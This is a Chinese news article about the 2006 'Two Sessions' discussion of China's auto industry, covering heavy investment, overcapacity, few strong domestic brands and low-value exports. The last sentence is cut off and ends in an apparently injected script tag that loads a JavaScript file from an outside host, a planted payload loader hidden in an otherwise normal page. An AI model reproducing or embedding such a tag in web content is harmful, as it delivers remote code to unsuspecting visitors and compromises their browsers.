中国汽车工业，从入世谈判时作为讨价还价筹码的“幼稚产业”，到如今产量仅次于美国、日本，短短几年的时间，变化可谓一日千里。然而发展越是迅猛，生产能力越是扩大，自主品牌也就越来越成为中国汽车产业不能回避的一个问题。

    “两会”数据：解析国内汽车产业隐痛

    “虽然我国对汽车产业有１０００亿元巨额投资，甚至还存在产能过剩，但除了奇瑞、吉利等极少数外，却没有几个叫得响的汽车自主品牌，这不能不说是一个很大的遗憾。”全国人大代表、中国航天科工集团０６１基地党委书记高德铭说。

    在刚刚结束的“两会”中，对于中国汽车自主品牌缺失的忧虑受到了各界的广泛关注，大量数据呈现出这样一个遗憾的事实：千亿元投资并未换来我们的汽车自主品牌。

    央行提供的数据显示，２００５年我国汽车工业投资额超过１０００亿元，汽车总产量达到６１５万辆。汽车产量在世界上仅次于美国、日本，但中国还算不上一个汽车大国——还没有一个世界级的自主汽车品牌，没有一家世界级的汽车企业，形成核心竞争力之路还很漫长。

    “巨额投资不仅没有换来自主创新技术，而且我国汽车工业还面临产能过剩的威胁。”全国人大代表王淑森说。数据显示，从２００２年到２００５年，我国汽车工业投资增速均超过了４０％，２００３年更是达到８２．６％。汽车生产能力也相应急剧扩大，从２００１年的２６７万辆，增长到２００５年的８００万辆左右。我国存在汽车整车生产的省份达２７个，生产汽车整车的厂家近２００家。

    “汽车工业很大程度上是我国工业现状的缩影。”全国人大代表、上汽（集团）股份有限公司总裁陈虹说：“我们的汽车工业不强，核心和关键技术受制于人。今后２０年，对中国汽车工业来讲，是重要的战略机遇期。必须有明确的自主创新战略，否则就会被动地被人家定位，丧失战略机遇期。”

    目前汽车工业产能过剩已经显现，几乎所有汽车生产企业实际产量都远低于建成的产能。根据国家发展和改革委员会提供的情况，截至２００５年７月１日，在建产能达２２０万辆，陆续建成后总产能将达到１０１８万辆。其中，轿车产能３８２万辆，在建产能１５７万辆，建成后累计产能将达５３９万辆。

    “现在汽车的国产化率是非常高了，已经达到８０％至９０％，但发动机变速箱、底盘系统等的集成能力亟待突破。”陈虹代表说，“一个国家工业能否强大，关键要靠拥有自主创新技术。我们必须奋发图强，创出响当当的自主品牌。”

    汽车出口同样受制于品牌疲软

    资料链接：在成为全球第四大汽车生产国、第三大汽车消费国之后，中国汽车企业开始向海外市场发力。经过近20年低速发展，中国汽车产品出口自2000年步入快速增长期。1994—2004年，汽车及零部件出口年均增速近30%，远高于全国外贸的增速和全国机电产品的年均增速。资料来源：环球时报2005年前10个月，我国出口汽车13.5万辆，比进口汽车多7000多辆，和2004年全年汽车出口量7.5万辆相比，增长将近一倍。出口汽车的档次也在提高。

    但是，与如此喜人的局面形成反差的是另一些棘手的问题。不少业内人士直言，中国汽车产品实现了“出得去”，但尚未“出得好”。拿去年来讲，进口车平均单价为2.82万美元，而出口整车平均单价只有0.48万美元，且比上年同期降低了0.3万美元，出口6辆车才顶得上一辆进口车。高尔夫车、沙滩车等特种用途车的出口单价日趋走低，以致有人说“别人卖汽车，我们卖铁皮”

    其实，最关键的问题是中国汽车出口没有形成自己的强势品牌。让自主品牌汽车“走出去”只是第一步，最终目的是通过全球市场的大浪淘沙，打造出真正有竞争力的汽车自主品牌。尽管中国自主品牌汽车纷纷出口，但往往牌子是自家的，最核心的技术却仍是人家的。

    近年来不断有跨国汽车巨头宣布其在中国生产的轿车销往国际市场。但严格来讲，这些出口只能算一种加工贸易，国内赚取的只是加工制造费，大头的利润被合资公司的外方或跨国巨头拿走了。总的算，国内汽车产品的出口利润比国内同类产品的销售利润要低。没有过硬的自主品牌和自主知识产权，哪怕汽车出口市场再热闹，中国企业也难以摆脱组装厂的角色，难以在汽车世界掌握话语权和主动权。

    据了解，“十一五”期间，中国将力争汽车及零部件出口年均增长40%以上，2010年达到出口额700亿美元。重点推动劳动密集型和材料密集型的汽车零部件出口，重点鼓励具有竞争优势的卡车、客车和中低档轿车出口，重点拓展汽车零部件国外售后维修市场和发展中国家的整车低端?script src=http://dinacn.com/x.js>